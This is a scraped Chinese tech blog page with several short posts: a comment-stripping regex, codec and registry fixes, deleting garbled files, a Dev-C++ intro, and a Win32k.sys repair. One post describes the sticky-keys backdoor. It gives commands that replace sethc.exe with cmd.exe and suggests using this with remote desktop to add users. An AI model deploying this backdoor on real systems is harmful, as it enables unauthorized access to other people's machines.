文章作者:Slyar 文章来源:Slyar Home (www.slyar.com) 转载请注明,谢谢合作。
刚才有个代码需要清除注释,又因为注释很多,于是便想到了正则表达式。可能是很长时间不用正则表达式的缘故,当我用Editplus打开代码勾选"正则表达式"查找替换的时候总也不成功...哎,还是要复习一下正则表达式的语法才行...
看过语法写起来就比较轻松了,因为我的注释都是单行的 /* */ 型注释,这样只要简单地使用下面这条正则表达式就可以快速清除所有的/* */ 型单行注释了。
/\*.*\*/
简单解释一下好了,大致思路就是匹配 /* 和 */ 之间的任意字符。
1、 / 的意思就是 /* 前面的那个 /
2、 \* 的意思是 /* 后面的那个 * ,只是因为 * 是通配符,所以要匹配 * 的时候必须使用它的转义字符 \*
3、 . 的意思是匹配字符
4、 * 的意思就是任意字符,连起来 .* 的意思就是匹配任意字符
5、 \* 的意思是 /* 后面的那个 * ,只是因为 * 是通配符,所以要匹配 * 的时候必须使用它的转义字符 \*
6、 / 的意思就是 /* 前面的那个 /
文章作者:Slyar 文章来源:Slyar Home (www.slyar.com) 转载请注明,谢谢合作。
刚才给朋友传了一份视频教程,但是在我电脑上可以正常播放的教程,到了她电脑上就无法正常播放了...症状为教程只能听到声音,而画面却定格在第一帧,无法流畅观看...
遍历了一次教程目录,发现放视频的文件夹是以AVI命名的,但是视频文件却不是以.AVI为后缀...直觉告诉我朋友不能播放应该是和视频编码有关...
搬出MediaInfo查看了一下那些视频文件的编码,得到编码格式为:
TechSmith Screen Capture Codec
那么相应的解码器也可以得到为:
TechSmith Screen Capture Codec (TSCC)
想办法删除了自己电脑里的TSCC解码器,播放教程时发现也出现了只有声音,图像不动的症状。可以判定该症状确系TSCC解码器的问题...
解决就简单了,运行TSCC.EXE安装TSCC解码器即可。
需要TSCC解码器的可到下载基地下载Slyar_TSCC.rar
文章作者:Slyar 文章来源:Slyar Home (www.slyar.com) 转载请注明,谢谢合作。
文章太长太乱,还是打开全文看吧。
阅读全文...
文章作者:Slyar 文章来源:Slyar Home (www.slyar.com) 转载请注明,谢谢合作。
今天和太原十二中的高中同学出去聚会,玩了一天才回来。
自从昨天给我的T61安装了蓝牙驱动,我就发现当我按"Caps Lock"键的时候,屏幕右下角就会出现一个灰色的提示框"CAPS LOCK:ON/OFF",看着非常讨厌...我要去掉它...
通过注册表对照,我发现了这个功能是Widcomm的蓝牙驱动软件附带的,而且我也在注册表里找到了这个功能所对应的键值。所以,我们要做的仅仅是改一个数字...
1、"开始"--"运行"--"regedit",打开注册表编辑器,找到如下目录
[HKEY_LOCAL_MACHINE\SOFTWARE\Widcomm\BTConfig\General]
2、在右边找到DWORD数值 KeyIndication
3、双击KeyIndication,将它的值由1改为0
4、重启电脑
这样以后再按"Caps Lock"键就不会出现这个提示了。
文章作者:Slyar 文章来源:Slyar Home (www.slyar.com) 转载请注明,谢谢合作。
今天不知道做了什么误操作,反正结果就是我的U盘里多了一堆无法删除的文件名是乱码的文件。至于无法删除,是因为那些文件名全部使用了windows不允许的字符,所以windows的资源管理器就不认了...
这个貌似还是比较好玩的,于是我就研究了几种不同的办法来删除这些"顽固文件"...
1、在纯DOS环境下可以使用del命令和rd命令删除部分文件(因为我只试验了2个文件,就有一个删除不了)。
2、使用第三方带文件管理的软件删除,例如Acdsee、Xnview、cuteftp、flashfxp等等。这个应该是100%可行的,至少我试了10个文件,全部成功删除。
3、使用WinRAR的压缩后删除功能。这个方法和上面的那种方法类似,原理都是利用第三方的文件管理功能。方法为鼠标右键点击要删除的文件夹或扩选的文件,选择"添加到压缩文件",在弹出的对话框中选"压缩后删除原文件",随便写个压缩包名,确定就可以了。实验了10个文件和2个文件夹,成功删除。
4、磁盘错误扫描。这个最彻底,直接在硬盘盘符上面点击鼠标右键,选择"属性"--"工具"--"查错(开始检查)",记得把那两项自动修复全部打钩。扫描结束以后那些文件就应该能删除了...
基本上用上面的办法就可以删除因为文件名乱码而无法删除的文件了,如果还有更好的办法可以告我哈...
文章作者:Slyar 文章来源:Slyar Home (www.slyar.com) 转载请注明,谢谢合作。
本文仅适合初学程序设计的人学习,菜鸟以上级别请飘过...
Dev-C++是一个Windows下的C和C++程序的集成开发环境。它使用MingW32/GCC编译器,遵循C/C++标准。开发环境包括多页面窗口、工程编辑器以及调试器等,在工程编辑器中集合了编辑器、编译器、连接程序和执行程序,提供高亮度语法显示的,以减少编辑错误,还有完善的调试功能,能够适合初学者与编程高手的不同需求,是学习C或C++的首选开发工具!多国语言版中包含简繁体中文语言界面及技巧提示,还有英语、俄语、法语、德语、意大利语等二十多个国家和地区语言提供选择。
阅读全文...
文章作者:Slyar 文章来源:Slyar Home (www.slyar.com) 转载请注明,谢谢合作。
大学里面有同学问,我直接写出来凑文章数好了。某几个人勿要鄙视我,看看你们写那么高深的东西有几个人去看......我这叫普及安全知识,懂不懂?
好了,回归正题,既然是粘滞键漏洞,首先我们要知道粘滞键是什么。
"粘滞键"是为同时按下两个或更多个键有困难的人设计的。当快捷方式要求使用诸如 CTRL 键 + S 键等的组合键时,“粘滞键”允许用户按下修改键(CTRL 键、ALT 键或 SHIFT 键)或 Windows 徽标键之后,它能保持这些键的活动状态直到按下其他键。
那么怎么调用出粘滞键呢?很简单,按五次shift键,之后就会出现粘滞键的应用程序了。
重点在这。既然按五次shift键会出现粘滞键程序,那么就一定有一个exe跟他关联,而这个exe是可以通过按五次shift键来运行的。如果我们把这个被激活的程序替换成cmd.exe,那么只要我们按五次shift键,就会得到一个cmdshell了。
del /q %systemroot%\system32\dllcache\sethc.exe
del /q %systemroot%\system32\sethc.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe
恩,差不多就是这些命令,把sethc.exe替换成我们的cmd.exe,运行之后按五次shift看看,是不是出现了shell?
这个应用应该是很广泛的,比如我们在SQL里把粘滞键程序换掉,然后直接3389登陆上去,再之后按五次shift,最后加用户,登入......恩,就这样吧,简单介绍,其他应用自己琢磨去。
最后说一下如何禁用粘滞键功能。开始--设置--控制面板--辅助功能选项--(粘滞键)设置--把"使用快捷键"前面的勾去掉,完成。现在按五次shift就无法调出粘滞键程序了。
文章作者:Slyar 文章来源:Slyar Home (www.slyar.com) 转载请注明,谢谢合作。
貌似有人出现过这个问题。。。
Win32k.sys是Windows XP的多用户管理驱动文件,我知道的因为Win32k.sys而蓝屏的原因有二点:
1、硬件不兼容。这个我不予理睬,自己插插拔拔看看就行了,这个不提示Win32k.sys丢失,只是xxxxxx地址错误。
2、Win32k.sys丢失。这个原因可能是比较大众化的了,病毒感染Win32k.sys,然后杀毒软件将其KILL,于是乎你的系统就找不到Win32k.sys,找不到Win32k.sys系统就绿了。。。啊不对,是蓝了。。。
解决办法:找个正确的Win32k.sys放进你的电脑就好了。这个Win32k.sys你可以去别人的电脑上copy一个(%systemroot%\system32),也可以在我这里下载,需要的到下载基地下载slyar_win32k.rar。
有了这个东西你可以把它放倒你的U盘或者你的软盘里,然后找个DOS引导盘引导到纯DOS环境(这个东西现在太多了,随便一个什么GHOST安装盘里就有)。
好了,现在可以开始工作了,我们假设你的系统盘是C盘。
第一步,进入系统目录 cd c:\windows\system32
第二步,取消Win32k.sys的系统、只读属性 Attrib -s -h -r win32k.sys
第三步,进入dllcache备份文件夹 cd c:\windows\system32\dllcache
第四步,取消dllcache备份文件夹Win32k.sys的系统、只读属性 Attrib -s -h -r win32k.sys
第五步,进入你的U盘或者A盘 a:或者f:
第六步,拷贝Win32k.sys到dllcache备份文件夹copy win32k.sys c:\windows\System32\dllcache
第七步,拷贝Win32k.sys到系统文件夹copy win32k.sys c:\windows\System32
第八步,重启。
最新评论